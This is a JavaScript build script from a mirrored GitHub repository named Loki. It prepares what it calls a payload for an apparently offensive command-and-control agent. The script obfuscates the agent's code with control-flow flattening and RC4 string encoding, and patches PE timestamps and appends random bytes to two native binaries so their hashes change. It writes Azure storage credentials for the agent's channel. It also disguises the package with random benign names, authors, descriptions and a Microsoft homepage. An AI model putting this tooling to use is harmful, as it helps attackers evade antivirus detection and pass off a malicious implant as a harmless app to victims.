mirror of
https://github.com/boku7/Loki
synced 2026-06-06 15:24:27 +00:00
314 lines
12 KiB
JavaScript
314 lines
12 KiB
JavaScript
const fs = require('fs');
|
|
const path = require('path');
|
|
const readline = require('readline');
|
|
const crypto = require('crypto');
|
|
|
|
// ---------- CLI Argument Parsing ----------
|
|
const rawArgs = process.argv.slice(2);
|
|
const argMap = {};
|
|
let appNameArg = null;
|
|
|
|
// Parse arguments and app name
|
|
for (let i = 0; i < rawArgs.length; i++) {
|
|
const arg = rawArgs[i];
|
|
|
|
if (!arg.startsWith('-') && appNameArg === null) {
|
|
appNameArg = arg;
|
|
continue;
|
|
}
|
|
|
|
if (arg.startsWith('--')) {
|
|
const [key, value] = arg.includes('=')
|
|
? arg.slice(2).split('=')
|
|
: [arg.slice(2), rawArgs[i + 1] && !rawArgs[i + 1].startsWith('-') ? rawArgs[++i] : true];
|
|
argMap[key] = value;
|
|
} else if (arg.startsWith('-')) {
|
|
const key = arg.slice(1);
|
|
const value = rawArgs[i + 1] && !rawArgs[i + 1].startsWith('-') ? rawArgs[++i] : true;
|
|
argMap[key] = value;
|
|
}
|
|
}
|
|
|
|
//console.log(`Args :\r\n${JSON.stringify(argMap)}`);
|
|
|
|
// Sanitize appNameArg to comply with npm package.json rules
|
|
if (appNameArg) {
|
|
appNameArg = appNameArg
|
|
.toLowerCase()
|
|
.replace(/[^a-z0-9-]/g, '') // Remove invalid chars
|
|
.replace(/^[^a-z]+/, ''); // Ensure starts with a letter
|
|
}
|
|
|
|
const isDebug = !!(argMap.debug || argMap.d);
|
|
|
|
if (isDebug) {
|
|
console.log("Parsed arguments:", argMap);
|
|
console.log("Sanitized App Name:", appNameArg);
|
|
}
|
|
|
|
// ---------- Help Menu ----------
|
|
if (argMap.h || argMap.help) {
|
|
console.log(`
|
|
Usage: node obfuscateAgent.js [AppName] [--account <StorageAccount>] [--token <SASToken>] [--meta <ContainerName>] [-h|--help] [--debug|-d]
|
|
|
|
Arguments:
|
|
AppName Optional. Used to name the final output in package.json.
|
|
Must be lowercase, start with a letter, contain only letters, numbers, or dashes.
|
|
--account Azure Storage Account name. Will prompt if not provided.
|
|
--token Azure SAS Token. Will prompt if not provided.
|
|
--meta Container name for metadata. If omitted, a random name is generated.
|
|
--cleanup Remove node modules, package.json, and other dependency files after execution.
|
|
-h, --help Show this help message and exit.
|
|
--debug, -d Enable verbose output about file operations.
|
|
|
|
Example:
|
|
node obfuscateAgent.js MyTool --account myacct --token 'se=2025...' --meta metaX123456 --debug
|
|
|
|
This script:
|
|
- Obfuscates JavaScript files in ./agent and writes to ./app
|
|
- Updates ./agent/config.js with storage config
|
|
- Copies config to ./config.js
|
|
- Generates or updates package.json
|
|
- [Optional] Cleans up node_modules, package.json, etc. after execution
|
|
`);
|
|
process.exit(0);
|
|
}
|
|
|
|
// ---------- Script State ----------
|
|
const sourceDir = path.join(__dirname, "agent");
|
|
const outputDir = path.join(__dirname, "app");
|
|
const configSrcPath = path.join(sourceDir, 'config.js');
|
|
const configCopyPath = path.join(__dirname, 'config.js');
|
|
const pkgSrcPath = path.join(sourceDir, 'package.json');
|
|
const pkgDstPath = path.join(outputDir, 'package.json');
|
|
const AssemblySrcPath = path.join(sourceDir, 'assembly.node');
|
|
const AssemblyDstPath = path.join(outputDir, 'assembly.node');
|
|
const scexecSrcPath = path.join(sourceDir, 'keytar.node');
|
|
const scexecDstPath = path.join(outputDir, 'keytar.node');
|
|
const cleanupTargets = [
|
|
path.join(__dirname, 'node_modules'),
|
|
path.join(__dirname, 'package.json'),
|
|
path.join(__dirname, 'package-lock.json')
|
|
];
|
|
|
|
const names = ["super-app", "cool-tool", "dev-helper", "ai-wizard", "code-master"];
|
|
const authors = ["Alice", "Bob", "Charlie", "Dana", "Elena"];
|
|
const descriptions = [
|
|
"An innovative AI solution.",
|
|
"A tool for cutting-edge development.",
|
|
"A next-gen automation engine."
|
|
];
|
|
const licenses = ["MIT", "Apache-2.0", "ISC", "BSD-3-Clause"];
|
|
const keywords = ["development", "AI", "automation", "tools"];
|
|
|
|
// ---------- Helpers ----------
|
|
function randomChoice(arr) {
|
|
return arr[Math.floor(Math.random() * arr.length)];
|
|
}
|
|
|
|
function randomVersion() {
|
|
return `${Math.floor(Math.random() * 10)}.${Math.floor(Math.random() * 10)}.${Math.floor(Math.random() * 10)}`;
|
|
}
|
|
|
|
function generateMetaContainer() {
|
|
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
|
|
let result = 'm';
|
|
while (result.length < 13) {
|
|
result += chars[Math.floor(Math.random() * chars.length)];
|
|
}
|
|
return result;
|
|
}
|
|
|
|
function promptInput(promptText) {
|
|
const rl = readline.createInterface({
|
|
input: process.stdin,
|
|
output: process.stdout
|
|
});
|
|
return new Promise(resolve => rl.question(promptText, ans => {
|
|
rl.close();
|
|
resolve(ans.trim());
|
|
}));
|
|
}
|
|
|
|
function hashFile(filePath) {
|
|
const fileBuffer = fs.readFileSync(filePath);
|
|
return crypto.createHash('sha256').update(fileBuffer).digest('hex');
|
|
}
|
|
|
|
async function changeNodeHashes() {
|
|
console.log("[+] Modifying PE binaries to have new hashes...");
|
|
// Load original PE binaries
|
|
const assembly_buffer = fs.readFileSync(AssemblySrcPath);
|
|
const scexec_buffer = fs.readFileSync(scexecSrcPath);
|
|
|
|
// ----------- Assembly PE Modification -----------
|
|
const assembly_peOffset = assembly_buffer.readUInt32LE(0x3C);
|
|
const assembly_timestampOffset = assembly_peOffset + 8;
|
|
const assembly_randomTime = Math.floor(Date.now() / 1000) - Math.floor(Math.random() * 100000);
|
|
|
|
assembly_buffer.writeUInt32LE(assembly_randomTime, assembly_timestampOffset);
|
|
// console.log('[+] Patched PE timestamp (assembly):', new Date(assembly_randomTime * 1000).toUTCString());
|
|
|
|
const assembly_junk = crypto.randomBytes(128);
|
|
const assembly_newBuffer = Buffer.concat([assembly_buffer, assembly_junk]);
|
|
|
|
fs.writeFileSync(AssemblyDstPath, assembly_newBuffer);
|
|
|
|
// ----------- Scexec PE Modification -----------
|
|
const scexec_peOffset = scexec_buffer.readUInt32LE(0x3C);
|
|
const scexec_timestampOffset = scexec_peOffset + 8;
|
|
const scexec_randomTime = Math.floor(Date.now() / 1000) - Math.floor(Math.random() * 100000);
|
|
|
|
scexec_buffer.writeUInt32LE(scexec_randomTime, scexec_timestampOffset);
|
|
//console.log('[+] Patched PE timestamp (scexec):', new Date(scexec_randomTime * 1000).toUTCString());
|
|
|
|
const scexec_junk = crypto.randomBytes(128);
|
|
const scexec_newBuffer = Buffer.concat([scexec_buffer, scexec_junk]);
|
|
|
|
fs.writeFileSync(scexecDstPath, scexec_newBuffer);
|
|
// console.log(`- Original assembly.node hash : ${hashFile(AssemblySrcPath)}`);
|
|
// console.log(`- Original keytar.node hash : ${hashFile(scexecSrcPath)}`);
|
|
console.log(`\t- Payload assembly.node hash : ${hashFile(AssemblyDstPath)}`);
|
|
console.log(`\t- Payload keytar.node hash : ${hashFile(scexecDstPath)}`);
|
|
}
|
|
|
|
function cleanup() {
|
|
console.log("[+] Cleanup initiated.");
|
|
// Cleanup node_modules and other files
|
|
for (const target of cleanupTargets) {
|
|
if (fs.existsSync(target)) {
|
|
try {
|
|
const stat = fs.lstatSync(target);
|
|
if (stat.isDirectory()) {
|
|
fs.rmSync(target, { recursive: true, force: true });
|
|
if (isDebug) console.log(`Removed directory: ${target}`);
|
|
} else {
|
|
fs.unlinkSync(target);
|
|
if (isDebug) console.log(`Removed file: ${target}`);
|
|
}
|
|
} catch (err) {
|
|
console.warn(`Failed to remove ${target}:`, err.message);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// ---------- Check Dependency ----------
|
|
let JavaScriptObfuscator;
|
|
try {
|
|
if (argMap.cleanup) {
|
|
cleanup();
|
|
process.exit(0);
|
|
}
|
|
JavaScriptObfuscator = require('javascript-obfuscator');
|
|
} catch (err) {
|
|
if (err.code === 'MODULE_NOT_FOUND') {
|
|
console.warn("'javascript-obfuscator' not found.");
|
|
console.warn('[!] First install javascript-obfuscator dependency:\r\n\tnpm install --save-dev javascript-obfuscator');
|
|
process.exit(0);
|
|
} else {
|
|
throw err;
|
|
}
|
|
}
|
|
|
|
// ---------- Reset Output Directory ----------
|
|
try {
|
|
if (fs.existsSync(outputDir)) {
|
|
fs.rmSync(outputDir, { recursive: true, force: true });
|
|
if (isDebug) console.log("Deleted existing './app' directory.");
|
|
}
|
|
fs.mkdirSync(outputDir, { recursive: true });
|
|
if (isDebug) console.log("Created new './app' directory.");
|
|
} catch (err) {
|
|
console.error("Error managing output directory:", err.message);
|
|
process.exit(1);
|
|
}
|
|
|
|
// ---------- Main Logic ----------
|
|
(async () => {
|
|
try {
|
|
if(!argMap.token || !argMap.account || !argMap.meta) {
|
|
console.log("[+] Provide Azure storage account information:");
|
|
}
|
|
const storageAccount = argMap.account || await promptInput("\t- Enter Storage Account : ");
|
|
const sasToken = argMap.token || await promptInput("\t- Enter SAS Token : ");
|
|
const metaContainer = argMap.meta || generateMetaContainer();
|
|
|
|
console.log("\n[+] Configuration:");
|
|
console.log("\t- Storage Account :", storageAccount);
|
|
console.log("\t- SAS Token :", sasToken);
|
|
console.log("\t- Meta Container :", metaContainer);
|
|
|
|
const configContent = `module.exports = {
|
|
storageAccount: '${storageAccount}',
|
|
metaContainer: '${metaContainer}',
|
|
sasToken: '${sasToken}'
|
|
};\n`;
|
|
|
|
fs.writeFileSync(configSrcPath, configContent, 'utf-8');
|
|
fs.copyFileSync(configSrcPath, configCopyPath);
|
|
console.log(`\n[+] Updated ${configCopyPath} with storage configuration\r\n - Enter into the Loki Client UI\r\n\tLoki Client > Configuration\r\n`);
|
|
|
|
// Obfuscate & copy
|
|
fs.readdirSync(sourceDir).forEach(file => {
|
|
const sourcePath = path.join(sourceDir, file);
|
|
const outputPath = path.join(outputDir, file);
|
|
|
|
if (fs.lstatSync(sourcePath).isFile()) {
|
|
if (file.endsWith(".js")) {
|
|
if (isDebug) console.log(`Obfuscating: ${file}`);
|
|
try {
|
|
const code = fs.readFileSync(sourcePath, "utf-8");
|
|
const obfuscatedCode = JavaScriptObfuscator.obfuscate(code, {
|
|
compact: true,
|
|
controlFlowFlattening: true,
|
|
stringArrayEncoding: ["rc4"]
|
|
}).getObfuscatedCode();
|
|
fs.writeFileSync(outputPath, obfuscatedCode);
|
|
if (isDebug) console.log(`Obfuscated: ${file}`);
|
|
} catch (err) {
|
|
console.error(`Error obfuscating ${file}:`, err.message);
|
|
}
|
|
} else if (file.endsWith(".css") || file.endsWith(".html")) {
|
|
fs.copyFileSync(sourcePath, outputPath);
|
|
if (isDebug) console.log(`Copied: ${file}`);
|
|
}
|
|
}
|
|
});
|
|
await changeNodeHashes();
|
|
} catch (err) {
|
|
console.error("Unexpected error during processing:", err.message);
|
|
process.exit(1);
|
|
}
|
|
})();
|
|
|
|
|
|
// ---------- Final Cleanup + Metadata ----------
|
|
process.on('exit', () => {
|
|
try {
|
|
if (fs.existsSync(pkgSrcPath)) {
|
|
const pkgData = JSON.parse(fs.readFileSync(pkgSrcPath, "utf-8"));
|
|
delete pkgData.build;
|
|
delete pkgData.dependencies;
|
|
delete pkgData.devDependencies;
|
|
|
|
pkgData.name = appNameArg || randomChoice(names);
|
|
pkgData.version = randomVersion();
|
|
pkgData.keywords = keywords;
|
|
pkgData.author = randomChoice(authors);
|
|
pkgData.description = randomChoice(descriptions);
|
|
pkgData.license = randomChoice(licenses);
|
|
pkgData.homepage = "https://www.microsoft.com";
|
|
|
|
fs.writeFileSync(pkgDstPath, JSON.stringify(pkgData, null, 2), "utf-8");
|
|
if (isDebug) console.log("package.json updated with custom values.");
|
|
console.log(`\n[+] Payload ready!`);
|
|
console.log(`\t - Obfuscated payload in the ./app directory`);
|
|
} else {
|
|
console.warn("No package.json found in ./agent/ directory.");
|
|
}
|
|
} catch (err) {
|
|
console.error("Failed to update package.json:", err.message);
|
|
}
|
|
});
|